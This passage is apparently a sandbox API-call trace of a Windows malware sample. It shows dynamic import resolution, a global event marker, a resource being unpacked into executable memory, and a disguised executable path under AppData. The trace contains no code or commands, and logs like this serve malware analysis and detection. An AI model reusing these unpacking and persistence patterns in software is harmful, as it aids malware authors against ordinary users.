hHeap=0x46c0000) returned 1 [0290.932] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6f8 [0290.933] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0290.933] lstrlenA (lpString="DispatchMessageA") returned 16 [0290.933] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.933] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6f8 [0290.933] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x76883160 [0290.933] lstrlenA (lpString="DestroyWindow") returned 13 [0290.933] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.933] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6f8 [0290.933] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0290.933] lstrlenA (lpString="UnregisterClassA") returned 16 [0290.933] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.933] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6f8 [0290.933] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0290.933] lstrlenA (lpString="DefWindowProcA") returned 14 [0290.933] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.933] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x10) returned 0x473f6f8 [0290.934] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0290.934] lstrlenA (lpString="PostQuitMessage") returned 15 [0290.934] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.934] lstrlenA (lpString="xafpqko") returned 7 [0290.934] lstrlenA (lpString="xafpqko") returned 7 [0290.934] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6f8 [0290.934] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0290.934] lstrcatA (in: lpString1="xafpqko", lpString2="xafpqko" | out: lpString1="xafpqkoxafpqko") returned="xafpqkoxafpqko" [0290.934] lstrlenA (lpString="xafpqkoxafpqko") returned 14 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.934] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] lstrlenA (lpString="Global") returned 6 [0290.935] lstrlenA (lpString="\\") returned 1 [0290.935] lstrlenA (lpString="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 33 [0290.935] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x29) returned 0x473f710 [0290.935] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0290.935] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0290.935] lstrcatA (in: lpString1="Global\\", lpString2="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" | out: lpString1="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" [0290.935] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x2d4 [0290.935] GetLastError () returned 0xb7 [0290.935] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x4) returned 0x473f748 [0290.935] lstrlenA (lpString="user32.dll") returned 10 [0290.935] FindResourceA (hModule=0x28a0000, lpName="307", lpType=0xa) returned 0x0 [0290.936] lstrlenA (lpString="user32.dll") returned 10 [0290.936] FindResourceA (hModule=0x28a0000, lpName="307", lpType=0x3) returned 0x28b3168 [0290.936] SizeofResource (hModule=0x28a0000, hResInfo=0x28b3168) returned 0x1fc54 [0290.936] LoadResource (hModule=0x28a0000, hResInfo=0x28b3168) returned 0x28b5c10 [0290.936] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x448) returned 0x473f758 [0290.936] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x1fc54) returned 0x46c3be8 [0290.942] lstrlenA (lpString="kernel32.dll") returned 12 [0290.945] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x3f858) returned 0x46e3848 [0290.948] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe000) returned 0x47230a8 [0290.949] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xfc40) returned 0x44f0048 [0290.958] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x44f0048 | out: hHeap=0x46c0000) returned 1 [0290.958] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x47230a8 | out: hHeap=0x46c0000) returned 1 [0290.960] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x46c3be8 | out: hHeap=0x46c0000) returned 1 [0290.960] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x28e01) returned 0x44f0048 [0290.963] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x46e3848 | out: hHeap=0x46c0000) returned 1 [0290.964] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f758 | out: hHeap=0x46c0000) returned 1 [0290.964] lstrlenA (lpString="307") returned 3 [0290.964] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f748 | out: hHeap=0x46c0000) returned 1 [0290.964] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x20a) returned 0x473f748 [0290.964] lstrcpynW (in: lpString1=0x473f748, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", iMaxLength=522 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0290.964] VirtualAlloc (lpAddress=0x10000000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x40) returned 0x0 [0290.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x40) returned 0x2b20000 [0290.970] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x74360000 [0290.970] GetProcAddress (hModule=0x74360000, lpProcName="_wcsicmp") returned 0x743e68f0 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="_HUGE") returned 0x74413870 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="localeconv") returned 0x743bb810 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="malloc") returned 0x743a7230 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="free") returned 0x743a7070 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="qsort") returned 0x743bb910 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="_time64") returned 0x743ee030 [0290.971] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="memmove") returned 0x743e7f90 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="strncpy") returned 0x743e8a10 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="strncmp") returned 0x743e8950 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0290.972] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0290.973] GetProcAddress (hModule=0x74360000, lpProcName="atol") returned 0x7438fee0 [0290.973] GetProcAddress (hModule=0x74360000, lpProcName="strchr") returned 0x743e8470 [0290.973] GetProcAddress (hModule=0x74360000, lpProcName="_snprintf") returned 0x743d47f0 [0290.973] GetProcAddress (hModule=0x74360000, lpProcName="_strtoi64") returned 0x74391ed0 [0290.973] GetProcAddress (hModule=0x74360000, lpProcName="_errno") returned 0x74395c60 [0290.974] GetProcAddress (hModule=0x74360000, lpProcName="memchr") returned 0x743e7a50 [0291.021] GetProcAddress (hModule=0x74360000, lpProcName="strtod") returned 0x74391c20 [0291.021] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x0 [0291.021] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x742d0000 [0291.087] GetProcAddress (hModule=0x742d0000, lpProcName="GetModuleFileNameExW") returned 0x742d13f0 [0291.087] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x0 [0291.087] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75df0000 [0291.091] GetProcAddress (hModule=0x75df0000, lpProcName=0x4) returned 0x75df5410 [0291.091] GetProcAddress (hModule=0x75df0000, lpProcName=0x6) returned 0x75e03750 [0291.091] GetProcAddress (hModule=0x75df0000, lpProcName=0x13) returned 0x75df5030 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0xf) returned 0x75e08ff0 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x34) returned 0x75e26cb0 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x15) returned 0x75dffd70 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x12) returned 0x75df4ea0 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x6f) returned 0x75e08fe0 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x10) returned 0x75e00c50 [0291.092] GetProcAddress (hModule=0x75df0000, lpProcName=0x17) returned 0x75e04510 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0x97) returned 0x75e08fa0 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0x3) returned 0x75e00910 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0xb) returned 0x75e09160 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0x73) returned 0x75df5b40 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0xc) returned 0x75e09450 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0xa) returned 0x75dffa10 [0291.093] GetProcAddress (hModule=0x75df0000, lpProcName=0x9) returned 0x75e08ff0 [0291.094] GetProcAddress (hModule=0x75df0000, lpProcName=0x33) returned 0x75e26b20 [0291.094] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74720000 [0291.094] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0291.094] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x76bd0000 [0291.094] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0291.094] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNA") returned 0x76beca10 [0291.094] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x772b0000 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoTaskMemFree") returned 0x76a064b0 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0291.095] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0291.096] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0291.096] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x74560000 [0291.096] GetProcAddress (hModule=0x74560000, lpProcName="SwitchToThread") returned 0x74576790 [0291.096] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0291.096] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0291.096] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeThread") returned 0x74574ff0 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0291.097] GetProcAddress (hModule=0x74560000, lpProcName="DuplicateHandle") returned 0x745ceac0 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0291.098] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0291.168] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="ConnectNamedPipe") returned 0x74574450 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="DisconnectNamedPipe") returned 0x745747c0 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="CreateNamedPipeA") returned 0x745ac910 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0291.169] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="GetProcessId") returned 0x74575240 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="SetThreadPriority") returned 0x745766c0 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0291.170] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="InitializeCriticalSection") returned 0x7783af20 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="LeaveCriticalSection") returned 0x7782b250 [0291.171] GetProcAddress (hModule=0x74560000, lpProcName="EnterCriticalSection") returned 0x7782b2d0 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="WaitForMultipleObjects") returned 0x745cec80 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="DeleteCriticalSection") returned 0x7780fb90 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynA") returned 0x74576c10 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0291.172] GetProcAddress (hModule=0x74560000, lpProcName="QueryPerformanceCounter") returned 0x74575da0 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="QueryPerformanceFrequency") returned 0x74575dc0 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="HeapReAlloc") returned 0x7781f630 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="GetProcessHeap") returned 0x745751f0 [0291.173] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0291.174] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0291.175] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="Process32FirstW") returned 0x745af750 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="CreatePipe") returned 0x74574590 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="Process32NextW") returned 0x745af8f0 [0291.176] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileW") returned 0x745cedf0 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileW") returned 0x745cee40 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpW") returned 0x74576bb0 [0291.177] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="FlushFileBuffers") returned 0x745cee70 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0291.178] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0291.179] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0291.179] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0291.179] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0291.179] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0291.179] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedIncrement") returned 0x74577420 [0291.179] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76850000 [0291.179] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0291.179] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0291.180] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0291.180] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0291.180] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0291.180] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77230000 [0291.180] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0291.180] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0291.180] GetProcAddress (hModule=0x77230000, lpProcName="GetUserNameW") returned 0x7724f890 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="GetSecurityDescriptorSacl") returned 0x772532d0 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityInfo") returned 0x7724fc60 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x77248d40 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0291.181] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0291.182] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0291.183] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0291.183] GetProcAddress (hModule=0x77230000, lpProcName="IsTextUnicode") returned 0x7724f040 [0291.183] GetProcAddress (hModule=0x77230000, lpProcName="CryptAcquireContextA") returned 0x7724fc40 [0291.183] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x75ad0000 [0291.183] GetProcAddress (hModule=0x75ad0000, lpProcName=0x13) returned 0x75af5460 [0291.183] GetProcAddress (hModule=0x75ad0000, lpProcName=0x19) returned 0x75ae9d00 [0291.183] GetProcAddress (hModule=0x75ad0000, lpProcName=0x10) returned 0x75aea190 [0291.184] GetProcAddress (hModule=0x75ad0000, lpProcName=0x14) returned 0x75af5ea0 [0291.184] GetProcAddress (hModule=0x75ad0000, lpProcName=0x2) returned 0x75aeb870 [0291.184] GetProcAddress (hModule=0x75ad0000, lpProcName=0x6) returned 0x75aeb920 [0291.184] GetProcAddress (hModule=0x75ad0000, lpProcName=0x8) returned 0x75b09de0 [0291.184] GetProcAddress (hModule=0x75ad0000, lpProcName=0x9) returned 0x75b09db0 [0291.190] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x47d0000 [0291.270] SetLastError (dwErrCode=0x5) [0291.270] GetLastError () returned 0x5 [0291.270] GetCurrentThread () returned 0xfffffffe [0291.270] SetLastError (dwErrCode=0x9) [0291.270] GetLastError () returned 0x9 [0291.270] GetCurrentThread () returned 0xfffffffe [0291.270] SetLastError (dwErrCode=0xd) [0291.270] GetLastError () returned 0xd [0291.270] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x11) [0291.271] GetLastError () returned 0x11 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x15) [0291.271] GetLastError () returned 0x15 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x19) [0291.271] GetLastError () returned 0x19 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x1d) [0291.271] GetLastError () returned 0x1d [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x21) [0291.271] GetLastError () returned 0x21 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x25) [0291.271] GetLastError () returned 0x25 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x29) [0291.271] GetLastError () returned 0x29 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x2d) [0291.271] GetLastError () returned 0x2d [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x31) [0291.271] GetLastError () returned 0x31 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x35) [0291.271] GetLastError () returned 0x35 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x39) [0291.271] GetLastError () returned 0x39 [0291.271] GetCurrentThread () returned 0xfffffffe [0291.271] SetLastError (dwErrCode=0x3d) [0291.271] GetLastError () returned 0x3d [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x41) [0291.272] GetLastError () returned 0x41 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x45) [0291.272] GetLastError () returned 0x45 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x49) [0291.272] GetLastError () returned 0x49 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x4d) [0291.272] GetLastError () returned 0x4d [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x51) [0291.272] GetLastError () returned 0x51 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x55) [0291.272] GetLastError () returned 0x55 